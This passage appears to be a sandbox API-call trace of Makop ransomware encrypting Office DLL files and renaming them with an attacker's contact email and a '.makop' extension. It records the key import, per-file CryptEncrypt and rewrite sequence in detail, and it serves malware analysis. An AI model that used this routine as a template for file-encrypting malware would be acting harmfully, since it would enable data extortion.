shared\\office14\\aceexch.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0087.450] CloseHandle (hObject=0xf0) returned 1 [0087.450] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xdbb98, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCL.DLL", cAlternateFileName="")) returned 1 [0087.450] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0087.450] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0087.452] GetProcessHeap () returned 0x48a0000 [0087.452] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0087.452] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0087.452] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0087.452] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0087.456] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0087.456] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.456] GetProcessHeap () returned 0x48a0000 [0087.456] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0087.456] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0087.456] CryptDestroyKey (hKey=0x48c7128) returned 1 [0087.456] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0087.456] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0087.457] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0087.457] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0087.457] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0087.457] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0087.457] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0087.457] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.457] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.458] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xdbb98, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xdbb98, lpOverlapped=0x0) returned 1 [0087.486] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xdbba0, dwBufLen=0xdbba0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xdbba0) returned 1 [0087.495] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.495] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xdbba0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xdbba0, lpOverlapped=0x0) returned 1 [0087.502] CryptDestroyKey (hKey=0x48c7128) returned 1 [0087.503] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xdbc74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.503] SetEndOfFile (hFile=0xf0) returned 1 [0087.512] GetProcessHeap () returned 0x48a0000 [0087.512] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0087.512] GetProcessHeap () returned 0x48a0000 [0087.512] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0087.512] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0087.512] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0087.514] CloseHandle (hObject=0xf0) returned 1 [0087.514] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x53bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBC.DLL", cAlternateFileName="")) returned 1 [0087.514] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0087.514] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0087.515] GetProcessHeap () returned 0x48a0000 [0087.515] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0087.515] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0087.515] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0087.515] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0087.515] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.515] GetProcessHeap () returned 0x48a0000 [0087.515] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0087.515] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0087.516] CryptDestroyKey (hKey=0x48c7128) returned 1 [0087.516] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0087.520] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0087.520] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0087.520] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0087.520] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0087.520] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0087.520] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0087.521] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.521] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.521] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x53bb0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x53bb0, lpOverlapped=0x0) returned 1 [0087.530] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x53bb0, dwBufLen=0x53bb0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x53bb0) returned 1 [0087.534] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.534] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x53bb0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x53bb0, lpOverlapped=0x0) returned 1 [0087.537] CryptDestroyKey (hKey=0x48c7128) returned 1 [0087.537] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x53c84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.537] SetEndOfFile (hFile=0xf0) returned 1 [0087.565] GetProcessHeap () returned 0x48a0000 [0087.565] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0087.565] GetProcessHeap () returned 0x48a0000 [0087.565] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0087.565] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0087.565] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0087.567] CloseHandle (hObject=0xf0) returned 1 [0087.567] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODDBS.DLL", cAlternateFileName="")) returned 1 [0087.567] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0087.567] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0087.568] GetProcessHeap () returned 0x48a0000 [0087.568] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0087.568] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0087.568] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0087.568] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0087.573] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0087.573] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.573] GetProcessHeap () returned 0x48a0000 [0087.573] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0087.573] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0087.573] CryptDestroyKey (hKey=0x48c7128) returned 1 [0087.573] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0087.573] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0087.573] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0087.574] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0087.574] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0087.574] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0087.574] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0087.574] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.574] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.574] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3db8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3db8, lpOverlapped=0x0) returned 1 [0087.577] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3dc0, dwBufLen=0x3dc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3dc0) returned 1 [0087.577] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.577] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3dc0, lpOverlapped=0x0) returned 1 [0087.577] CryptDestroyKey (hKey=0x48c7128) returned 1 [0087.577] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.578] SetEndOfFile (hFile=0xf0) returned 1 [0087.584] GetProcessHeap () returned 0x48a0000 [0087.584] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0087.584] GetProcessHeap () returned 0x48a0000 [0087.584] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0087.584] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 115 [0087.584] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0087.585] CloseHandle (hObject=0xf0) returned 1 [0087.586] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODEXL.DLL", cAlternateFileName="")) returned 1 [0087.586] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0087.586] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0087.590] GetProcessHeap () returned 0x48a0000 [0087.590] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0087.590] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0087.590] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0087.590] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0087.594] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0087.594] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.594] GetProcessHeap () returned 0x48a0000 [0087.594] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0087.595] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0087.595] CryptDestroyKey (hKey=0x48c7128) returned 1 [0087.595] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0087.595] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0087.595] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0087.595] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0087.595] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0087.596] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0087.596] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0087.596] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.596] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.596] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3db8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3db8, lpOverlapped=0x0) returned 1 [0087.598] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3dc0, dwBufLen=0x3dc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3dc0) returned 1 [0087.598] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.598] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3dc0, lpOverlapped=0x0) returned 1 [0087.599] CryptDestroyKey (hKey=0x48c7128) returned 1 [0087.599] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.599] SetEndOfFile (hFile=0xf0) returned 1 [0087.606] GetProcessHeap () returned 0x48a0000 [0087.606] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0087.606] GetProcessHeap () returned 0x48a0000 [0087.606] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0087.606] wsprintfW (in: 